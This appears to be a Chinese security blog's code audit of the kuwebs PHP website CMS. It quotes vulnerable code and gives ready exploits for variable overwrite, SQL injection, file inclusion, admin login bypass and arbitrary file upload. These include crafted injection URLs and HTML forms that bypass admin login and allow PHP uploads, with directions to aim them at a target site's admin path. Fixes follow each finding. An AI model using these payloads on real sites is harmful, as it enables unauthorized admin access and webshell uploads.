代码审计:kuwebs代码审计报告各种鸡肋漏洞打包

  • A+
所属分类:Seay信息安全博客

显示不全请点击全屏阅读

代码审计:kuwebs代码审计报告漏洞打包与修复

先来个介绍:

酷纬企业网站管理系统是酷纬信息(www.kuwebs.com)开发的为企业网站提供一揽子解决方案的营销型网站系统,后台采用PHP+Mysql架构,内置企业简介模块、新闻模块、产品模块、图片模块、下载模块、在线留言模块、常见问题模块、友情链接模块。前台采用DIV+CSS,遵循SEO标准,通过模板或者定制为企业提供专业的营销型网站。

 

 

19万。。。

 

 

代码审计推荐工具:Seay PHP代码审计工具2012终结版

下载地址:http://www.cnseay.com/archives/1115

 

作者:Seay

博客:http://www.cnseay.com/

 

 本文及EXP下载:http://www.cnseay.com/wp-content/uploads/2012/12/kuwebs代码审计报告漏洞打包与修复.rar

部分漏洞列表:

一、变量覆盖漏洞

二、发表留言处盲注

三、在线应聘处盲注

四、getIP()函数鸡肋注入

五、文件包含漏洞

六、变量覆盖,注入满天飞之后台绕过登陆多种方法

七、任意文件上传漏洞

八、在线反馈注入漏洞

无限注入。。。

任意文件删除。。。

任意文件下载。。。

    无限。。。。

 

 

一、变量覆盖漏洞

看首页文件index.php  一开始就包含‘inc/common.inc.php’  跟进去看看。

 

<?php

require_once ‘inc/common.inc.php’; //加载系统公共函数和系统的前台配置文件

 

if(2 == $kuWebsiteHTMLStartType)

{

    //echo $kuHttpPath.’index_’.$kuWebsiteDefauleIndexLanguage.$kuWebsiteTempHTMLType;

    $content = @file_get_contents($kuHttpPath.’index_’.$lang.transferHTMLType($kuWebsiteHTMLType)); 

    if(!empty($content))

    {

        echo $content;

        exit;

    }

}

 

 

‘inc/common.inc.php’ admin\inc\common.inc.php看到了一段经典代码,变量覆盖

 

$_POST = filterChar($_POST);

$_GET = filterChar($_GET);

$_COOKIE = filterChar($_COOKIE);

 

if(!ini_get(‘register_globals’))

{

  @extract($_COOKIE, EXTR_SKIP);

  @extract($_FILES, EXTR_SKIP);

}

 

 

foreach(array(‘_COOKIE’, ‘_POST’, ‘_GET’) as $_request)

{

  foreach($$_request as $_key => $_value)

  {

    $key{0} != ‘_’ && $$_key = daddslashes($_value);

  }

}

 

 

修复:不要懒着定义变量,想省点事注册变量就把这段代码丢前面一点

 

二、发表留言处盲注

message/add.php  文件

 

<?php

require_once ‘../inc/common.inc.php’;

$kuMessageBackSendUrl = $kuHttpPath.”message/index.php?lang={$kuWebsiteCurrLanguage}&menuid={$menuid}&page=1″;

 

 

$strSql = “select id, menutitle from {$configTableHead}menu where fatherid={$menuid} and lang='{$kuWebsiteEditVersionLanguage}’;”;

$result = $dbInstance->query($strSql);

while($row = $dbInstance->fetchArray($result))

{

  $secondMenuNav[] = $row;

}

 

 

$menuid 无单引号压力。

 

修复:单引号

 

 

三、在线应聘处盲注

/job/resume.php 文件 第40

 

$arrMenuInfo = getMenuIdInfo($menuid);

$topMenuId = ”;

if(count($kuMenuList[$kuProductShow[‘type3’]]))$topMenuId = $arrMenuInfo[‘type3’];

else if(count($kuMenuList[$kuProductShow[‘type2’]]))$topMenuId = $arrMenuInfo[‘type2’];

else if(count($kuMenuList[$kuProductShow[‘type1’]]))$topMenuId = $arrMenuInfo[‘type1’];

 

 

getMenuIdInfo($menuid) 我们跟进看一下

\inc\commonfunc.inc.php文件 435

 

function getMenuIdInfo($id)

{

    if(” == $id || 0 > $id)return;

    global $configTableHead, $kuWebsiteCurrLanguage, $dbInstance;

    $strSql = “select id, fatherid from {$configTableHead}menu where id={$id};”;

    $row1 = $dbInstance->getOne($strSql);

 

 

看到带入了数据库,同样的无单引号压力注入

 

修复:单引号

 

 

五、getIP()函数鸡肋注入

 

\inc\commonfunc.inc.php  文件和 admin/inc/commonfunc.inc.php 

 

function getIP()

  if (getenv(“HTTP_CLIENT_IP”) && strcasecmp(getenv(“HTTP_CLIENT_IP”), “unknown”)) {$ip = getenv(“HTTP_CLIENT_IP”);}

  else if (getenv(“HTTP_X_FORWARDED_FOR”) && strcasecmp(getenv(“HTTP_X_FORWARDED_FOR”), “unknown”)) {$ip = getenv(“HTTP_X_FORWARDED_FOR”); }

  else if (getenv(“REMOTE_ADDR”) && strcasecmp(getenv(“REMOTE_ADDR”), “unknown”)) {$ip = getenv(“REMOTE_ADDR”); }

  else if (isset($_SERVER[‘REMOTE_ADDR’]) && $_SERVER[‘REMOTE_ADDR’] && strcasecmp($_SERVER[‘REMOTE_ADDR’], “unknown”)){$ip = $_SERVER[‘REMOTE_ADDR’]; } 

  else {$ip = “unknown”; }

  return($ip); 

 

经常出现的一个问题,木有过滤,无视GPCHTTP_CLIENT_IP我们可控,导致注入,蛋疼这个函数只在后台调用了几次。登陆处有调用,但是木用。

 

 

修复:验证IP地址格式

 

五、文件包含漏洞

admin//index.php 文件

 

<?php

session_start();                                                  //开启session

require_once(‘inc/common.inc.php’);

if(!empty($menu) && !empty($path))                                //入口参数的判定

{

  if(‘php’ == fileExt($menu))                                      //判断menu是否PHP文件

  {

    include_once($path.’/’.$menu);

  }

  else

  {

    include_once($path.’/’.$menu.’.inc.php’);

  }

  exit;

}

include_once(‘inc/logincheck.php’);                              //管理员登陆模块的加载

include_once(‘template/’.$adminTemplateName.’/index.html’);      //加载后台index.html静态页面

?>

 

 

接收到参数,包含了再判断有木有登陆,晚了,结合它的变量覆盖,$menu 和 $path我们都可控,直接包含。

 

修复:敢不敢别这么包含文件

 

六、变量覆盖,注入满天飞之后台绕过登陆多种方法

绕过登陆一、

我们先看他的验证登陆的文件admin/inc/logincheck.php

<?php

session_start();

require_once(‘common.inc.php’);

$adminId = $_SESSION[‘adminid’];

$adminUser = $_SESSION[‘adminuser’];

$adminPassword = $_SESSION[‘adminpassword’];

 

 

$strSql = “select id, adminuser, adminpassword from {$configTableHead}admin where adminuser = ‘{$adminUser}’ and adminpassword = ‘{$adminPassword}’;”;

$row = $dbInstance->getOne($strSql);

if(1 > $row[‘id’])

{

  promptMessage(“index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login”, $promptNonLogin, $configJumpTime);

  exit;

 

?>

 

 

$configTableHead 变量我们可覆盖哦,有问题,直接覆盖注入

EXP:

http://www.cnseay.com/admin1/left.php?lang=cn&configTableHead=kuwebs_admin limit 1%23 seay

 

 

 

绕过登陆二、

 

我们再看看登陆的文件Admin/login/login_action.inc.php  文件104$configTableHead 变量

 

else if(“” == $action)                                                                      

{

  $userName = trim($_POST[‘username’]);

  $password = $_POST[‘pass’];

  $checkCode = trim($_POST[‘checkCode’]);

  if(empty($checkCode) || $_SESSION[“code”] != $checkCode)                                  

  {

    promptMessage(“index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login”, $promptEmptyCheckCode, $configJumpTime, $adminHttpImgPath, $kuLanguage);

    exit;  

  }

  if(1 > strlen($userName) || 1 > strlen($password))

  {

    promptMessage(“index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login”, $promptEmptyLogin, $configJumpTime);

    exit;

  }

  $userPassword = CommTool::encryptMd5($password, $configEncryptTimes);                      

  $strSql = “select id, adminuser, adminpassword from {$configTableHead}admin where adminuser = ‘$userName’ and adminpassword = ‘$userPassword’;”;

  $row = $dbInstance->getOne($strSql);

  if(1 > $row[‘id’])

  {

    promptMessage(“index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login”, $promptLoginFail, $configJumpTime);

    exit;

  }

else

  {

      $_SESSION[‘adminid’] = $row[‘id’];

      $_SESSION[‘adminuser’] = $row[‘adminuser’];

      $_SESSION[‘adminpassword’] = $row[‘adminpassword’];

      if($configIsLog)CommTool::writeLog(“”);         

      if($configIsLog)CommTool::writeLog(“{$_SESSION[‘adminuser’]} login to system”);         

      $adminmodifyip = getIP();

      $strSql = “update {$configTableHead}admin set regtime='{$nowTime}’, adminmodifyip='{$adminmodifyip}’ where id={$_SESSION[‘adminid’]}”;

      if($dbInstance->query($strSql))

      {

        promptMessage($adminHttpPath.’index.php’, $promptLoginSuccess, $configJumpTime);

      exit;

      }

      else

      {

        $_SESSION[‘adminid’] = ”;

        $_SESSION[‘adminuser’] = ”;

        $_SESSION[‘adminpassword’] = ”;

        promptMessage(“index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login”, $promptLoginUpdateFail, $configJumpTime);

    exit;

      }

  }

 

 

很明显的,本来我们可以利用前面的变量覆盖来覆盖$configTableHead再注入,绕过登陆,

蛋疼的后面

$strSql = “update {$configTableHead}admin set regtime='{$nowTime}’, adminmodifyip='{$adminmodifyip}’ where id={$_SESSION[‘adminid’]}”;

      if($dbInstance->query($strSql))

      {

        promptMessage($adminHttpPath.’index.php’, $promptLoginSuccess, $configJumpTime);

      exit;

      }

      else

      {

        $_SESSION[‘adminid’] = ”;

        $_SESSION[‘adminuser’] = ”;

        $_SESSION[‘adminpassword’] = ”;

 

 

记录管理登陆日志,这个不跟前面的注入复合,又回滚了session,原本登陆了就又消失了。

 

 

不过我们往上看一点。第16行开始

else if(“relogin” == $action)                                                                

{

  $oldAdminUser = $_SESSION[‘adminuser’];

  $_SESSION[‘adminid’] = “”;

  $_SESSION[‘adminuser’] = “”;

  $_SESSION[‘adminpassword’] = “”;

  $userName = trim($_POST[‘username’]);

  $password = $_POST[‘pass’];

  if($configIsLog)CommTool::writeLog(“$oldAdminUser Exit. Change into $userName to login”);   

  if(1 > strlen($userName) || 1 > strlen($password))

  {

    promptMessage(“index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login”, $promptNonLogin, $configJumpTime);

    exit;

  }

  $userPassword = CommTool::encryptMd5($password, $configEncryptTimes);                       

  $strSql = “select id, adminuser, adminpassword from {$configTableHead}admin where adminuser = ‘$userName’ and adminpassword = ‘$userPassword’;”;

  $row = $dbInstance->getOne($strSql);

  if(1 > $row[‘id’])                                                                         

  {

    if($configIsLog)CommTool::writeLog(“{$_SESSION[‘adminuser’]} login to system failed”);   

    promptMessage(“index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login”, $promptLoginFail, $configJumpTime);

    exit;

  }

  else

  {                                                                                           

    $_SESSION[‘adminid’] = $row[‘id’];

    $_SESSION[‘adminuser’] = $row[‘adminuser’];

    $_SESSION[‘adminpassword’] = $row[‘adminpassword’];

    if($configIsLog)CommTool::writeLog(“{$_SESSION[‘adminuser’]} login to system Success”);    

    promptMessage(“index.php”, $promptLoginSuccess, $configJumpTime);

    exit;

  }

 

 

很明显,这里没有回滚session,那我们就可以覆盖$configTableHead变量来注入绕过登陆了

 

 

EXP

 

<html>

<head>

<title>www.cnseay.com</title>

</head>

<body>

<form name=”form1″ method=”post” action=”http://www.cnseay.com/admin1/index.php?lang=cn&path=login&menu=login_action&action=relogin”>

<input name=”username” type=”hidden” value=”admin” />

<input name=”pass” type=”hidden” value=”admin” />

<input name=”configTableHead” type=”hidden” value=”kuwebs_admin limit 1# 1″ />

<input type=”submit” value=”登 陆“>

</form>  

</body>

</html>

 

 

www.cnseay.com/admin1修改成网站后台地址,点击登陆即可。

当然绕过的方法不止这些,还有比如覆盖数据库连接字符的等等。

 

修复:不多说。。。

 

 

八、任意文件上传漏洞

 

像这种变量覆盖的,基本都有任意文件上传。

看到admin/uploadfilesave.php 文件木有验证登陆权限,再看72

$downloadurl=upload(‘imgurl’, $kuWebsiteAllowUploadFileFormat);

 

看看upload函数

function upload($form, $fileFormat) 

{

  global $promptIncludeDirUploadFileCanNotWrite, $promptIncludeDirCorrectUploadFileFormat, $promptIncludeDirCopyUploadFileError;

  if (is_array($form)) 

  {

    $filear = $form;

  } 

  else 

  {

    $filear = $_FILES[$form];

  }

/..省略./

  if ($fileFormat != “” && !in_array(strtolower($ext), explode(“|”, strtolower($fileFormat)))) 

 

可见我们只要覆盖$kuWebsiteAllowUploadFileFormat 变量即可上传任意文件。

 

直接给出EXP

<form name=”form1″ enctype=”multipart/form-data” method=”post” action=”http://www.cnseay.com/admin/include/uploadfilesave.php?action=add”>

  <input type=”file” name=”imgurl”>

  <input type=”hidden” name=”kuWebsiteAllowUploadFileFormat” value=”php|asp|aspx”>

    <input type=”submit” name=”Submit” value=”“>

</form>

 

修复:不多说。。。

 

 

八、在线反馈注入漏洞

看到文件plus/feedback.php 105 

 $strSql = “select * from {$configTableHead}{$fType} where id={$objectid}”;

同样无单引号压力

测试:

http://localhost/kuwebs/plus/feedback.php?feedbacktype=1&objectid=1 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16

 

 

无限注入:

这种注入还有不少,比如admin/menu/menu_modify.inc.php文件等

$strFather = “select * from {$configTableHead}menu where id={$fatherId};”;

就不列那么多了。

 

修复:单引号。。。

 

 

变量覆盖是个大问题啊,容易导致二次利用的漏洞,上面说的任意文件删除什么的,自己到后台黑盒看看就知道了。

 

暂时先看到这里了,问题太多,等修复了再看看吧。

Tags:

kuwebs漏洞,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡
代码审计:kuwebs代码审计报告各种鸡肋漏洞打包